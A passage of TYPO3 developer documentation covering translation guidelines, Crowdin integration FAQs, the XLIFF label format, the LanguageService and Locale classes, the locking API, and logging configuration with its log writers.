and stick to it. And be open to discuss it with your fellow team translators.
Look into other localized projects in your language. There are tons of Open
Source projects being translated, also into your language. Be curious and
look at how the localization is done – there might be things to learn and
adapt.
Be consistent. Localization of high quality is characterised by the
consistency. Make extensive use of the terms and glossary.
Use machine translation carefully. It is tempting but dangerous to do
a quick translation with one of the common machine translation tools and
sometimes it can help you to get a deeper understanding of the meaning of a
text. But very often a machine-translated text breaks all the above rules
unless you rework the text carefully afterwards.
Work together. As in all other aspects of Open Source, things get so much
better when we work together. So, reach out for help when you get stuck. Or
offer your knowledge if someone ask for it. Crowdin provides a good platform
for collaborating with your team translators, and please join the
Translation Slack channel #typo3-translations.
Note
When translating into German, we prefer the informal "du" to the formal "Sie".
Translation styles
In general, and where it makes sense, we follow the
Writing Style Guide from the Content Team.
In the future (when translation teams start getting bigger), it might be a good
idea to develop local style guides.
Become a proofreader
Community-driven translations form the backbone of the translation of TYPO3.
Huge thanks to all translators and proofreaders for their invaluable contributions!
Please contact the Localization Team via email at localization@typo3.org to request the role of a proofreader.
There are many good resources when it comes to translation, language,
dictionaries, etc. Feel free to suggest your favorite websites, when you work
with language.
The main branch is the leading version. Any string that is also present in the
previous version is automatically filled during export and only needs to be
localized if it is different in the previous version.
Strings are translated, but when are they taken into account and available for download?
As soon as a string is proofread, it will be taken into account at the next export.
The export is done every two hours.
How can I be sure what way a word, term or string is to be translated?
There are several ways to get help: In the left panel you can either search
the translation memory (TM) or the term base. You can also drop a comment to
start a discussion or ask for advice.
If you miss an extension on Crowdin, contact the extension owner to create a
project on Crowdin.
It is important that they follow the description on the page
Extension integration.
The setup is a simple process and done within minutes.
My favorite language is not available for an extension
If you are missing the support for a specific language in an extension on
Crowdin please contact either the maintainer of the extension or the
Localization Team.
See also
The language needs to be supported by TYPO3 itself as well, see
Supported languages for a list of all languages.
Will the old translation server be disabled?
The old translation server under https://translation.typo3.org/ has been
turned off in July 2023.
The existing and exported translations which are downloaded within the Install
Tool will be available for longer time.
How to convert to the new language XLIFF file format
If you have downloaded an XLIFF file from the
deactivated Pootle language server or an old version of an extension, then it
does not have the correct format. You need to remove some attributes.
Questions about extension integration
Why does Crowdin show me translations in source language?
If you have just set up Crowdin and ship translated XLIFF files in your
extension, they will also show up as files to be translated.
You need to exclude them in your .crowdin.yml configuration, which is
located in the extension root directory.
Yes, you can! Switch to the settings area of your project (you need to have the
proper permissions for that) and you can upload XLIFF files or even ZIP files
containing the XLIFF files.
Upload translations
After triggering the upload, Crowdin tries to find the matching source files and
target languages. You may have to accept both if they are not found
automatically.
How can I disable the pushing of changes?
By default, Crowdin pushes changes made in translations back to the
repository. This is not necessary, as the translation server provided by TYPO3
handles the distribution of translations, so your extension does not need to
ship the translations.
You can disable the pushing of changes back into your repository in the
Crowdin configuration. Navigate in your Crowdin project to
Integrations and select your integration (for example, GitHub). Then
click on the Edit button and disable the Push Sources
checkbox.
My integration stopped working and I saved the setup again. Now, the language files are shown twice?
If there was an attempt to connect another repository to the project before, this
might happen. In this case, to prevent overwrites, Crowdin renames the existing
master branch to [repo_name] master and it allows you to keep [repo_name] master
and [another_repo] master in the same project, but if you delete all existing
integrations, the system forgets about the multi-repo logic in the project, and
it will upload just master branch to Crowdin
What to do:
Delete newly uploaded master
Rename [repo_name] master branch in Crowdin to master
Pause/resume GitHub sync, so the system has updated existing old files in the master branch
The reason why the integration disconnected previously - it creates crowdin.yml
configuration file by default, but (probably) at some point it was renamed to
.crowdin.yml (mind the dot at the start) in the repo, so integration was suspended as it couldn't locate the
original configuration file.
When you re-connected the repo, you specified .crowdin.yml as configuration file
name, so now it should work.
How can I migrate translations from Pootle?
If there were already translations on the old, discontinues translation server
powered by Pootle, you do not need to translate everything again on Crowdin -
you can import them.
Fetch translations:
Download the translations you need. You will need to download them directly
from the TER with the following URL
pattern:
Open and Cleanup:
Unzip the translations and switch to, for example,
Resources/Private/Language/ which is the typical directory
of translations. Remove the .xml files as only the .xlf
files are important.
Match the files
The attribute
original of the translations must match the ones of the
default translations.
Example: The file Resources/Private/Language/locallang.xlf
starts with the following snippet:
All three filenames are valid names for for Crowdin CLI to detect the configuration file.
We recommend using .crowdin.yml to make it more obvious that it's a configuration file.
Questions about TYPO3 Core integration
The Core Team added a new system extension. Why are language packs not available even though it has already been translated into language XY?
With the usage of XLIFF and the freely available Pootle
translation server, companies and individuals may easily set up a custom
translation server for their extensions.
This class is used to translate strings in plain PHP. For examples
see Localization in PHP. A
LanguageServiceshould not
be created directly, therefore its constructor is internal. Create a
LanguageService with the LanguageServiceFactory.
In the backend context a
LanguageService is stored in the global
variable
$GLOBALS['LANG'].
In the frontend a
LanguageService can be accessed via the contentObject:
classLanguageService
Fully qualified name
\TYPO3\CMS\Core\Localization\LanguageService
Main API to fetch labels from XLF (label files) based on the current system
language of TYPO3. It is able to resolve references to files + their pointers to the
proper language. If you see something about "LLL", this class does the trick for you. It
is not related to language handling of content, but rather of labels for plugins.
Usually this is injected into $GLOBALS['LANG'] when in backend or CLI context, and
populated by the current backend user. Do not rely on $GLOBAL['LANG'] in frontend, as it is only
available under certain circumstances!
In frontend, this is also used to translate "labels", see TypoScriptFrontendController->sL()
for that.
As TYPO3 internally does not match the proper ISO locale standard, the "locale" here
is actually a list of supported language keys, (see Locales class), whereas "English"
has the language key "default".
Further usages on setting up your own LanguageService in BE:
This looks up the given .xlf file path in the 'core' extension for label labels.depth_0
Only the plain string contents of a language key, like "Record title: %s" are returned.
Placeholder interpolation must be performed separately, for example via sprintf(), like
LocalizationUtility::translate() does internally (which should only be used in Extbase
context)
Example:
Label is defined in EXT:my_ext/Resources/Private/Language/locallang.xlf as:
<trans-unit id="downloaded_times">
<source>downloaded %d times from %s locations</source>
</trans-unit>
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The following code example assumes $this->request to hold the current request object.
There are several ways to create the LanguageService using the Factory, depending on the
context. Please adjust this example to your use case:
This factory class is for retrieving the LanguageService at runtime, which then is used to translate strings in plain PHP. For examples
see Localization in PHP. Creates a LanguageService
that can then be used for localizations.
The
\TYPO3\CMS\Core\Localization\Locale class unifies the handling of
locales instead of dealing with "default" or other TYPO3-specific namings.
The
Locale class is instantiated with a string following the
IETF RFC 5646 language tag standard:
useTYPO3\CMS\Core\Localization\Locale;
$locale = new Locale('de-CH');
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A locale supported by TYPO3 consists of the following parts
(tags and subtags):
ISO 639-1 / ISO 639-2 compatible language key in lowercase
(such as fr for French or de for German)
optionally the ISO 15924 compatible language script system
(4 letter, such as Hans as in zh_Hans)
optionally the region / country code according to ISO 3166-1 standard in
upper camelcase such as AT for Austria.
Examples for a locale string are:
en for English
pt for Portuguese
da-DK for Danish as used in Denmark
de-CH for German as used in Switzerland
zh-Hans-CN for Chinese with the simplified script as spoken in China
(mainland)
The
Locale object can be used to create a new
LanguageService object via the
LanguageServiceFactory for translating
labels. Previously, TYPO3 used the default language key, instead of the locale
en to identify the English language. Both are supported, but it is
encouraged to use en-US or en-GB with the region subtag to identify the
chosen language more precisely.
Example for using the
Locale class for creating a
LanguageService
object for translations:
In a nutshell, an XLIFF document contains one or more
<file> elements.
Each file element usually corresponds to a source (file or database table) and
contains the source of the localizable data. Once translated, the corresponding
localized data is added for one, and only one, locale.
Localizable data is stored in
<trans-unit> elements.
<trans-unit>
contains a
<source> element to store the source text and a
(non-mandatory)
<target> element to store the translated text.
The default language is always English, even if you have changed your TYPO3
backend to another language. It is mandatory to set
source-language="en".
Note
Having several
<file> elements in the same XLIFF document is not
supported by the TYPO3 Core.
<?xml version="1.0" encoding="UTF-8"?><xliffversion="1.2"xmlns="urn:oasis:names:tc:xliff:document:1.2"><filesource-language="en"datatype="plaintext"original="EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf"date="2020-10-18T18:20:51Z"product-name="my_ext"><header/><body><trans-unitid="headerComment"><source>The default Header Comment.</source></trans-unit><trans-unitid="generator"><source>The "Generator" Meta Tag.</source></trans-unit></body></file></xliff>
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The following attributes should be populated properly in order to get the
best support in external translation tools:
original (in
<file> tag)
This property contains the path to the xlf file.
If the external tool used depends on the attribute resname you can also
define it. TYPO3 does not consider this attribute.
The translated file is very similar. If the original file was named
locallang.xlf, the translated file for German (code "de") will be named
de.locallang.xlf.
One can use a custom label file, for example, with the locale prefix
de_CH.locallang.xlf in an extension next to de.locallang.xlf and
locallang.xlf (default language English).
When integrators then use "de-CH" within their
site configuration, TYPO3 first checks if a term is
available in de_CH.locallang.xlf, and then automatically falls back to
the non-region-specific "de" label file de.locallang.xlf without any
further configuration to TYPO3.
The original file must always be in English, so it is not allowed to create
a file with the prefix "en", for example en.locallang.xlf.
In the file itself, a
target-language attribute is added to the
<file> tag to indicate the translation language ("de" in our example).
TYPO3 does not consider the
target-language attribute for its own processing
of translations, but the filename prefix instead. The attribute might be useful
though for human translators or tools.
Then, for each
<source> tag there is a sibling
<target> tag
that contains the translated string.
This is how the translation of our sample file might look like:
Only one language can be stored per file, and each translation into another
language is placed in an additional file.
Note
The optional
approved attribute in a
<trans-unit> tag
indicates whether the translation has been approved by a reviewer.
Crowdin supports this attribute.
Currently, only approved translations are exported and available via the
TYPO3 translation server.
By default, only translations with no
approved attribute or with
the attribute set to
yes are taken into account when parsing XLF
files. Set the option requireApprovedLocalizations to
false
to use translations with the
approved attribute set to
no.
File locations and naming
In the TYPO3 Core, XLIFF files are located in the various system extensions
as needed and are expected to be located in Resources/Private/Language.
In Extbase, the main file (locallang.xlf) is loaded
automatically and is available in the controller and Fluid views without any
further work. Other files must be explicitly referenced with the syntax
LLL:EXT:extkey/Resources/Private/Language/myfile.xlf:my.label.
As mentioned above, the translation files
follow the same naming conventions, but are prepended with the language code and
a dot. They are stored alongside the default language files.
ID naming
It is recommended to apply the following rules for defining identifiers (the
id attribute).
Separate by dots
Use dots to separate logical parts of the identifier.
Good example:
CType.menuAbstract
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Bad examples:
CTypeMenuAbstract
CType-menuAbstract
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Namespace
Group identifiers together with a useful namespace.
Good example:
CType.menuAbstract
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This groups all available content types for content elements by using
the same prefix CType..
Bad example:
menuAbstract
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Namespaces should be defined by context.
menuAbstract.CType could also be a reasonable namespace
if the context is about menuAbstract.
lowerCamelCase
Generally, lowerCamelCase should be used:
Good example:
frontendUsers.firstName
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Note
For some specific cases where the referenced identifier is in a format
other than lowerCamelCase, that format can be used:
For example, database table or column names often are written in snake_case,
and the XLIFF key then might be something like fe_users.first_name.
Working with XLIFF files
Access labels
Label access in PHP
In PHP, a typical call in the Backend to fetch a string in the language selected by a user
looks like this:
getLanguageService() is a call to a helper method that accesses
$GLOBALS['LANG']. In the Backend, the bootstrap
parks an initialized instance of
\TYPO3\CMS\Core\Localization\LanguageService at this place. This may change in the
future, but for now the LanguageService can be reliably fetched from this global.
Note
The
->sL() API does not apply a
htmlspecialchars() call to the translated string. If the string
is returned in a web context, it must be added manually.
If additional placeholders are used in a translation source, they must be injected, a call then typically looks like this:
// Text string in .xlf file has a placeholder:// <trans-unit id="message.description.fileHasBrokenReferences">// <source>The file has %1s broken reference(s) but it will be deleted regardless.</source>// </trans-unit>
sprintf($this->getLanguageService()->sL(
'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:message.description.fileHasBrokenReferences'),
count($brokenReferences)
);
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Various classes are involved in the localization process, with
\TYPO3\CMS\Core\Localization\LanguageService providing the actual
methods to retrieve a localized label.
sL() loads a language file if needed first, and then
returns a label from it (using a string with the
LLL:EXT:... syntax as argument).
Extbase class
\TYPO3\CMS\Extbase\Utility\LocalizationUtility is essentially a
convenience wrapper around the
\TYPO3\CMS\Core\Localization\LanguageService class,
whose
translate() method also takes an array as argument and runs PHP's
vsprintf() on the localized string. However, in the future it is expected this Extbase
specific class will melt down and somehow merged into the Core API classes to get rid of this
duplication.
Label access in Fluid
In Fluid, a typical call to fetch a string in the language selected by a user looks like this:
<f:translatekey="key1"extensionName="SomeExtensionName" />
// or inline notation
{f:translate(key: 'someKey', extensionName: 'SomeExtensionName')}
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If the correct context is set, the current extension name and language is provided by the request. Otherwise it must be provided.
TYPO3 uses the locking API in the Core. You can do the same in your extension
for operations which require locking. This is the case if you use a resource,
where concurrent access can be a problem. For example if you are getting a
cache entry, while another process sets the same entry. This may
result in incomplete or corrupt data, if locking is not used.
Attention
The TYPO3 Caching Framework does not use locking internally.
If you use the Caching Framework to cache entries in your extension, you may
want to use the locking API as well.
Locking strategies
A locking strategy must implement the
LockingStrategyInterface. Several locking strategies
are shipped with the Core. If a locking strategy uses a mechanism
or function, that is not available on your system, TYPO3 will automatically detect this and
not use this mechanism and respective locking strategy (e.g. if function
sem_get() is not
available,
SemaphoreLockStrategy will not be used).
FileLockStrategy: uses the PHP function flock()
and creates a file in typo3temp/var/lock
The directory can be overwritten by configuration:
useTYPO3\CMS\Core\Locking\FileLockStrategy;
// The directory specified here must exist und must be a subdirectory of `Environment::getProjectPath()`
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][FileLockStrategy::class]['lockFileDir'] = 'mylockdir';
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SemaphoreLockStrategy: uses the PHP function sem_get()
SimpleLockStrategy is a simple method of file locking. It also uses the folder
typo3temp/var/lock.
Extensions can add a locking strategy by providing a class which
implements the LockingStrategyInterface.
If a function requires a lock, the locking API is asked for the best fitting mechanism matching
the requested capabilities. This is done by a combination of:
capabilities
The capability of the locking strategy and the requested capability must
match (e.g. if you need a non-blocking lock, only the locking strategies that support
acquiring a lock without blocking are available for this lock).
priority
Each locking strategy assigns itself a priority. If more than one strategy is available
for a specific capability (e.g. exclusive lock), the one with the highest priority is chosen.
locking strategy supported on system
Some locking strategies do basic checks, e.g. semaphore locking is only available
on Linux systems.
In general, the concept of locking, using shared or exclusive + blocking or non-blocking
locks is not TYPO3-specific. You can find more resources under Related Information.
LOCK_CAPABILITY_EXCLUSIVE
A lock can only be acquired exclusively once and is then locked (in use). If another
process or thread tries to acquire the same lock, it will:
If locking strategy withoutLOCK_CAPABILITY_NOBLOCK is used either:
block or
throw
LockAcquireException, if the lock could not be acquired - even with blocking
If locking strategy withLOCK_CAPABILITY_NOBLOCK is used, this should not block and do either:
return false or
throw
LockAcquireWouldBlockException, if trying to acquire lock would block
throw
LockAcquireException, if the lock could not be acquired
LOCK_CAPABILITY_SHARED
A lock can be acquired by multiple processes, if it has this capability and the lock is
acquired with LOCK_CAPABILITY_SHARED. The lock cannot be acquired shared, if it has
already been acquired exclusively, until the exclusive lock is released.
LOCK_CAPABILITY_NOBLOCK
If a locking strategy includes this as capability, it should be capable of acquiring
a lock without blocking. The function
acquire() can pass the non-blocking requirement
by adding LOCK_CAPABILITY_NOBLOCK to the first argument $mode.
Every locking strategy must have a priority. This is returned by the function
LockingStrategyInterface::getPriority() which must be implemented in each
locking strategy.
Currently, these are the priorities of the locking strategies supplied by the Core:
FileLockStrategy: 75
SimpleLockStrategy: 50
SemaphoreLockStrategy: 25
To change the locking strategy priority, the priority can be overwritten by configuration,
for example in additional configuration:
useTYPO3\CMS\Core\Locking\LockingStrategyInterface;
useTYPO3\CMS\Core\Locking\LockFactory;
// ...
$lockFactory = GeneralUtility::makeInstance(LockFactory::class);
// createLocker will return an instance of class which implements// LockingStrategyInterface, according to required capabilities.// Here, we are asking for an exclusive, blocking lock. This is the default,// so the second parameter could be omitted.
$locker = $lockFactory->createLocker('someId', LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE);
// now use the locker to lock something exclusively, this may block (wait) until lock is free, if it// has been used alreadyif ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE)) {
// do some work that required exclusive locking here ...// after you did your stuff, you must release
$locker->release();
}
useTYPO3\CMS\Core\Locking\LockingStrategyInterface;
useTYPO3\CMS\Core\Locking\LockFactory;
// ...
$lockFactory = GeneralUtility::makeInstance(LockFactory::class);
// get lock strategy that supports exclusive, shared and non-blocking
$locker = $lockFactory->createLocker('id',
LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK);
// now use the locker to lock something exclusively, this will not block, so handle retry / abort yourself,// e.g. by using a loopif ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK)) {
// ... some work to be done that requires locking// after you did your stuff, you must release
$locker->release();
}
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Usage in the Core
The locking API is used in the Core for caching, see
TypoScriptFrontendController.
Each locking strategy has a set of capabilities (getCapabilities()), and a
priority (getPriority()), so give your strategy a priority higher than 75
if it should override the current top choice
FileLockStrategy by default.
If you want to release your file locking strategy extension, make sure to make the priority configurable,
as is done in the TYPO3 Core:
There is a problem with PHP flock() on NFS systems.
This problem may or may not affect you, if you use NFS. See this
issue for more information
Forge Issue: FileLockStrategy fails on NFS folders <72074>
or check if PHP flock works on your filesystem.
The FileLockStrategy uses
flock(). This will create a file in typo3temp/var/lock.
Because of its capabilities (LOCK_CAPABILITY_EXCLUSIVE, LOCK_CAPABILITY_SHARED
and LOCK_CAPABILITY_NOBLOCK) and priority (75), FileLockStrategy is used as
first choice for most locking operations in TYPO3.
Multiple servers & Cache locking
Since the Core uses the locking API for some cache operations (see for
example
TypoScriptFrontendController), make sure that you correctly
setup your caching and locking if you share your TYPO3 instance on multiple
servers for load balancing or high availability.
Specifically, this may be a problem:
Do not use a local locking mechanism (e.g. semaphores or file locks
in typo3temp/var, iftypo3temp/var is mapped to local storage and
not shared) in combination with a central cache mechanism (e.g. central Redis
or DB used for page caching in TYPO3)
Related Information
Some of these resources are for specific systems. We link to these, if the
general concepts are explained quite well. Not everything will apply to
locking in TYPO3 though.
If you do find better resources, feel free to make changes or add to this list!
Values in the message string that should vary based on the error (such as
specifying an invalid value) should use placeholders, denoted by
{ }. Provide the value for that placeholder in the context array.
$this->logger->warning() etc. are only shorthands - you can also call
$this->logger->log() directly and pass the severity level:
EXT:my_extension/Classes/MyClass.php
// use Psr\Log\LogLevel;$this->logger->log(LogLevel::CRITICAL, 'This is an utter failure!');
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Set logging output
TYPO3 has the FileWriter enabled by default
for warnings (
LogLevel::WARNING) and higher severity, so all matching log
entries are written to a file.
If the filename is not set, then the file will contain a hash like
var/log/typo3_<hash>.log, for example
var/log/typo3_7ac500bce5.log.
typo3temp/var/log/typo3_<hash>.log, for example
typo3temp/var/log/typo3_7ac500bce5.log.
A sample output looks like this:
Fri, 19 Jul 2023 09:45:00 +0100 [WARNING] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Something went awry, check your configuration!
Fri, 19 Jul 2023 09:45:00 +0100 [ERROR] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Passing someValue was unwise. - {"value":"someValue","other_data":{}}
Fri, 19 Jul 2023 09:45:00 +0100 [CRITICAL] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": This is an utter failure!
For examples of instantiation with
LoggerAwareTrait or
GeneralUtility::makeInstance(), switch to an older TYPO3 version for
this page. Instantiation with dependency injection
is now the recommended procedure. Also see the section on
channels for information on grouping classes in
channels.
The log() method
The
\TYPO3\CMS\Core\Log\Logger class provides a central point for
submitting log messages, the
log() method:
Optional parameter, it can contain additional data, which is added to the
log record in the form of an array.
An early return in the
log() method prevents unneeded computation work to
be done. So you are safe to call the logger with the debug log level frequently
without slowing down your code too much. The logger will know by its
configuration, what the most explicit severity level is.
As a next step, all registered processors are
notified. They can modify the log records or add extra information.
The logger then forwards the log records to all of its configured
writers, which will then persist the log record.
Log levels and shorthand methods
The log levels - according to RFC 3164 - start from the lowest level.
For each of the severity levels mentioned below, a shorthand method exists in
\TYPO3\CMS\Core\Log\Logger :
Debug
Debug
Class constant
\Psr\Log\LogLevel::DEBUG
Shorthand method
$this->logger->debug($message, $context);
For debug information: give detailed status information during the
development of PHP code.
Informational
Informational
Class constant
\Psr\Log\LogLevel::INFO
Shorthand method
$this->logger->info($message, $context);
For informational messages, some examples:
A user logs in.
Connection to third-party system established.
Logging of SQL statements.
Notice
Notice
Class constant
\Psr\Log\LogLevel::NOTICE
Shorthand method
$this->logger->notice($message, $context);
For significant conditions. Things you should have a look at, nothing to
worry about though. Some examples:
A user logs in.
Logging of SQL statements.
Warning
Warning
Class constant
\Psr\Log\LogLevel::WARNING
Shorthand method
$this->logger->warning($message, $context);
For warning conditions. Some examples:
Use of a deprecated method.
Undesirable events that are not necessarily wrong.
Error
Error
Class constant
\Psr\Log\LogLevel::ERROR
Shorthand method
$this->logger->error($message, $context);
For error conditions. Some examples:
A runtime error occurred.
Some PHP coding error has happened.
A white screen is shown.
Critical
Critical
Class constant
\Psr\Log\LogLevel::CRITICAL
Shorthand method
$this->logger->critical($message, $context);
For critical conditions. Some examples:
An unexpected exception occurred.
An important file has not been found.
Data is corrupt or outdated.
Alert
Alert
Class constant
\Psr\Log\LogLevel::ALERT
Shorthand method
$this->logger->alert($message, $context);
For blocking conditions, action must be taken immediately. Some examples:
The entire website is down.
The database is unavailable.
Emergency
Emergency
Class constant
\Psr\Log\LogLevel::EMERGENCY
Shorthand method
$this->logger->emergency($message, $context);
Nothing works, the system is unusable. You will likely not be able to reach
the system. You better have a system administrator reachable when this
happens.
Channels
It is possible to group several classes into channels, regardless of the
PHP namespace.
Services are able to control the component name that an injected logger is
created with. This allows to group logs of related classes and is basically
a channel system as often used in Monolog.
The
\TYPO3\CMS\Core\Log\Channel attribute is supported for
constructor argument injection as a class and
parameter-specific attribute and for
\Psr\Log\LoggerAwareInterface
dependency injection services as a class attribute.
Registration via class attribute for
\Psr\Log\LoggerInterface injection:
The instantiated logger will now have the channel "security",
instead of the default one, which would be a combination of namespace and class
of the instantiating class, such as MyVendor.MyExtension.Service.MyClass.
Using the channel
The channel "security" can then be used in the logging configuration:
$this->logger->alert(
'Password reset requested for email "'
. $emailAddress . '" but was requested too many times.'
);
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Good example:
$this->logger->alert(
'Password reset requested for email "{email}" but was requested too many times.',
['email' => $emailAddress]
);
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The first argument is the message, the second (optional) argument is a context.
A message can use
{placeholders}. All Core provided log writers will
substitute placeholders in the message with data from the context array,
if a context array key with same name exists.
Meaningful message
The message itself has to be meaningful, for example, exception messages.
Bad example:
"Something went wrong"
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Good example:
"Could not connect to database"
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Searchable message
Most of the times log entries will be stored.
They are most important, if something goes wrong within the system.
In such situations people might search for specific issues or situations,
considering this while writing log entries will reduce debugging time in future.
Messages should therefore contain keywords that might be used in searches.
Good example:
"Connection to MySQL database could not be established"
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This includes "connection", "mysql" and "database" as possible keywords.
Distinguishable and grouped
Log entries might be collected and people might scroll through them.
Therefore it is helpful to write log entries that are distinguishable,
but are also grouped.
Bad examples:
"Database not reached"
"Could not establish connection to memcache"
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Good examples:
"Connection to MySQL database could not be established"
"Connection to memcache could not be established"
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This way the same issue is grouped by the same structure,
and one can scan the same position for either "MySQL" or "memcache".
Provide useful information
TYPO3 already uses the component of the logger to give some context.
Still further individual context might be available that should be added.
In case of an exception, the code, stacktrace, file and line number would be
helpful.
Keep in mind that it is hard to add information afterwards.
Logging is there to get information if something got wrong.
All necessary information should be available to get the state of the system
and why something happened.
Configuration of the logging system
The instantiation of loggers is configuration-free, as
the log manager automatically applies its configuration.
The logger configuration is read from
$GLOBALS['TYPO3_CONF_VARS']['LOG'] ,
which contains an array reflecting the namespace and class hierarchy of your
TYPO3 project.
For example, to apply a configuration for all loggers within the
\TYPO3\CMS\Core\Cache namespace, the configuration is read from
$GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['Core']['Cache'] .
So every logger requested for classes like
\TYPO3\CMS\Core\Cache\CacheFactory,
\TYPO3\CMS\Core\Cache\Backend\NullBackend , etc. will get this
configuration applied.
Configuring the logging for extensions works the same.
Writer configuration
The log writer configuration is read from the sub-key
writerConfiguration of the configuration array:
$GLOBALS['TYPO3_CONF_VARS']['LOG']['writerConfiguration'] = [
// Configuration for ERROR level log entries
\Psr\Log\LogLevel::ERROR => [
// Add a FileWriter
\TYPO3\CMS\Core\Log\Writer\FileWriter::class => [
// Configuration for the writer'logFile' => \TYPO3\CMS\Core\Core\Environment::getVarPath() . '/log/typo3_7ac500bce5.log'
],
],
];
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The above configuration applies to all log entries of level "ERROR" or above.
Note
The default folder for log files is <var-path>/log.
The <var-path> is <project-root>/var/ for Composer-based
installations and typo3temp/var/ for Classic mode installations.
To apply a special configuration for the controllers of the examples extension,
use the following configuration:
// Configure logging ...// For class \T3docs\Examples\Controller\FalExampleController
$GLOBALS['TYPO3_CONF_VARS']['LOG']
['T3docs']['Examples']['Controller']['FalExampleController']
['writerConfiguration'] = [
// ...
];
// For channel "security"
$GLOBALS['TYPO3_CONF_VARS']['LOG']['security']['writerConfiguration'] = [
// ...
];
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For more information about channels, see Channels.
An arbitrary number of writers can be added for every severity level (INFO,
WARNING, ERROR, ...). The configuration is applied to log entries of the
particular severity level plus all levels with a higher severity. Thus, a log
message created with
$logger->warning() will be affected by the
writer configuration for the log levels:
LogLevel::DEBUG
LogLevel::INFO
LogLevel::NOTICE
LogLevel::WARNING
For the above example code that means:
Calling
$logger->warning($msg); will result in
$msg being
written to the computer's syslog on top of the default configuration.
Calling
$logger->debug($msg); will result in
$msg being
written only to the default log file (var/log/typo3_<hash>.log).
For a list of writers shipped with the TYPO3 Core see the section about
Log writers.
Processor configuration
Similar to the writer configuration, log record processors
can be configured on a per-class and per-namespace basis with the sub-key
processorConfiguration:
For a list of processors shipped with the TYPO3 Core, see the section about
Log processors.
Disable all logging
In some setups it is desirable to disable all logs and to only enable them on demand.
You can disable all logs by unsetting
$GLOBALS['TYPO3_CONF_VARS']['LOG'] at the
end of your additional.php:
Any additional data, encapsulated within an array.
The API to create a new instance of LogRecord is
\TYPO3\CMS\Core\Log\Logger:log() or one of the
shorthand methods.
The
LogRecord class implements the
\ArrayAccess interface so that
the properties can be accessed like a native array, for example:
$logRecord['requestId'].
It also implements a
__toString() method for your convenience,
which returns the log record as a simplified string.
A log record can be processed using log processors
or log writers. Log processors are meant to add
values to the
data property of a log record. For example,
if you would like to add a stack trace, use
\TYPO3\CMS\Core\Log\Processor\IntrospectionProcessor .
Log writers are used to write a log record to a particular target,
for example, a log file.
Log writers
The purpose of a log writer is (usually) to save all log records into a
persistent storage, like a log file, a database table, or to a remote syslog
server.
Different log writers offer possibilities to log into different targets.
Custom log writers can extend the functionality
shipped with TYPO3 Core.
This section describes the log writers shipped with the TYPO3 Core.
Some writers have options to allow customization of the particular writer.
See the configuration section on how to
use these options.
DatabaseWriter
The database writer logs into a database table. This table has to reside
in the database used by TYPO3 and is not automatically created.
The following option is available:
logTable
logTable
Type
string
Mandatory
no
Default
sys_log
The database table to write to.
Warning
The Admin Tools > Log module is not adapted to the records
written by the
DatabaseWriter into the
sys_log table. If
you write such records there, you will not be able to see them using
that module.
Tip
There is the third-party extension
co-stack/logs
available for viewing
such records in the TYPO3 backend.
Example of a
CREATE TABLE statement for
logTable:
EXT:my_extension/ext_tables.sql
## Table structure for table 'tx_examples_log'## The KEY on request_id is optional#CREATETABLE tx_examples_log
(
request_id varchar(13) DEFAULT''NOTNULL,
time_micro double(16, 4) NOTNULLdefault'0.0000',
component varchar(255) DEFAULT''NOTNULL,
leveltinyint(1) unsignedDEFAULT'0'NOTNULL,
message text,
datatext,
KEY request (request_id)
);
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The corresponding configuration might look like this for the example class
\T3docs\Examples\Controller:
If you are using a MariaDB Galera Cluster you should definitely add a
primary key field to the database definition, since it is required by
Galera (this can be a normal
uid autoincrement field as known from
other tables):
MariaDB Galera Cluster - Known Limitations.
FileWriter
The file writer logs into a log file, one log record per line. If the log file
does not exist, it will be created (including parent directories, if needed).
Please make sure:
Your web server has write permissions to that path.
The filename is appended with a hash, that depends on the
encryption key. If
$GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess']
is set, an .htaccess file is added to the directory. It protects your
log files from being accessed from the web. If the
logFile option is not
set, TYPO3 will use a filename containing a random hash, like
typo3temp/logs/typo3_7ac500bce5.log.
The following options are available:
logFile
logFile
Type
string
Mandatory
no
Default
typo3temp/logs/typo3_<hash>.log (for example, like typo3temp/logs/typo3_7ac500bce5.log)
The path to the log file.
logFileInfix
logFileInfix
Type
string
Mandatory
no
Default
(empty string)
This option allows to set a different name for the log file that is created
by the
FileWriter without having to define a full path to the file.
For example, the settings
'logFileInfix' => 'special' results in
typo3_special_<hash>.log.
The corresponding configuration might look like this for the example class
\T3docs\Examples\Controller:
EXT:my_extension/ext_localconf.php
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Core\Environment;
useTYPO3\CMS\Core\Log\LogLevel;
useTYPO3\CMS\Core\Log\Writer\FileWriter;
defined('TYPO3') ordie();
// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
// configuration for ERROR level log entries
LogLevel::ERROR => [
// Add a FileWriter
FileWriter::class => [
// Configuration for the writer'logFile' => Environment::getVarPath() . '/log/typo3_examples.log',
],
],
];
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RotatingFileWriter
New in version 13.0
TYPO3 log files tend to grow over time if not manually cleaned on a regular
basis, potentially leading to full disks. Also, reading its contents may be
hard when several weeks of log entries are printed as a wall of text.
To circumvent such issues, established tools like logrotate are available for
a long time already. However, TYPO3 may be installed on a hosting environment
where "logrotate" is not available and cannot be installed by the customer.
To cover such cases, a simple log rotation approach is available, following the
"copy/truncate" approach: when rotating files, the currently opened log file is
copied (for example, to typo3_<hash>.log.20230616094812) and the original log
file is emptied.
Example of the var/log/ folder with rotated log files:
$ ls -1 var/log
typo3_<hash>.log
typo3_<hash>.log.20230613065902
typo3_<hash>.log.20230614084723
typo3_<hash>.log.20230615084756
typo3_<hash>.log.20230616094812
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The file writer
\TYPO3\CMS\Core\Log\Writer\RotatingFileWriter extends the
FileWriter class. The
RotatingFileWriter
accepts all options of
FileWriter in addition of the following:
interval
interval
